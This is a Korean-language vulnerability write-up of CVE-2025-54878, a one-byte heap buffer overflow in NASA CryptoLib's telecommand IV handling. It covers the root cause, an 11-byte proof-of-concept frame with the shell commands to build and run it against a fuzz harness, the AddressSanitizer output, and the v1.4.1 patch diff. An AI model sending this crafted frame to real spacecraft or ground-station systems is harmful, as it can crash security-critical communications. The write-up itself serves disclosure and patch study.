[하루한줄] CVE-2025-54878: NASA CryptoLib의 Heap Buffer Overflow로 인한 서비스 거부(DoS)

URL

https://github.com/nasa/CryptoLib/security/advisories/GHSA-9qph-pxfm-q9g4

Target

  • NASA CryptoLib ≤ 1.4.0

Explain

0. 취약점 배경

NASA CryptoLib은 cFS(core Flight System)를 실행하는 우주선과 지상국 간의 통신을 보호하기 위해 CCSDS(Consultative Committee for Space Data Systems) Space Data Link Security Protocol - Extended Procedures (SDLS-EP)를 사용하는 소프트웨어 기반 솔루션입니다. 이 라이브러리는 텔레커맨드 프레임 처리 로직에 Heap Buffer Overflow 취약점이 있습니다.

1. Root Cause 설명

Crypto_TC_Accio_Buffer 함수를 통해 암호화된 프레임은 enc_frame_len 만큼 버퍼를 할당 받습니다.

/* crypto_tc.c:833 */
status = Crypto_TC_Accio_Buffer(&p_new_enc_frame, &enc_frame_len);

이때 GDB로 버퍼의 길이를 확인해보면 19임을 확인할 수 있습니다.

(gdb) print *p_enc_frame_len
$2 = 19

취약점은 텔레커맨드 프레임의 초기화 벡터(IV)를 새롭게 할당된 버퍼에 복사하는 과정에서 경계 검사를 제대로 수행하지 않아 발생합니다.

status = Crypto_TC_Set_IV(sa_ptr, p_new_enc_frame, &index);
---------------------------------------------------------------------
// IN `Crypto_TC_Set_IV` Function
uint16_t index_temp = *index;              // starts at 8
for (i = sa_ptr->iv_len - sa_ptr->shivf_len; i < sa_ptr->iv_len; i++) {
    *(p_new_enc_frame + index_temp) = *(sa_ptr->iv + i);
    index_temp++;
}
*index = index_temp;

index_temp 는 8부터 시작하고 sa_ptr→iv_len 은 12여서 19바이트 할당된 프레임보다 1바이트 더 접근이 가능했고 이는 ASan에서 탐지가 되었습니다.

2. PoC 설명

취약점을 트리거하는 간단한 PoC는 11바이트로 구성된 조작된 텔레커맨드 프레임: 0x20030004de0000000000
이 프레임을 라이브러리에 입력하면, 내부적으로 IV의 길이가 12로 설정되고 버퍼 할당 크기는 19로 결정됩니다. IV가 버퍼의 8번째 오프셋부터 복사될 때, 총 8 + 12 = 20바이트를 쓰게 되어, 할당된 19바이트 버퍼의 끝을 1바이트만큼 초과하게 됩니다.

# Generate the 11-byte attack payload
echo 0020030004de0000000000 | xxd -r -p > poc.bin

# Run the ASan fuzz harness
./build-asan/bin/fuzz_harness poc.bin

ASan reports:

==…==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x…  
WRITE of size 1 at 0x…  
    #0 … in Crypto_TC_Check_IV_Setup crypto_tc.c:296:450x… is located 0 bytes after 19-byte region [0x…,0x…)  
allocated by thread T0 here:  
    #1 Crypto_TC_Accio_Buffer crypto_tc.c:243:35  
…  
SUMMARY: AddressSanitizer: heap-buffer-overflow crypto_tc.c:296:45

3. Patch Diffing

Operational Control Field (OCF)를 포함함으로써 p_enc_frame_len 이 4바이트가 늘었고 그로 인해 OOB가 불가능하도록 v1.4.1에서 패치가 되었습니다.

- *p_enc_frame_len = temp_tc_header.fl + 1 + 2 + sa_ptr->shivf_len + sa_ptr->shsnf_len + sa_ptr->shplf_len + sa_ptr->stmacf_len;
+ *p_enc_frame_len = temp_tc_header.fl + 1 + SPI_LEN + sa_ptr->shivf_len + sa_ptr->shsnf_len + sa_ptr->shplf_len + sa_ptr->stmacf_len + ocf_len;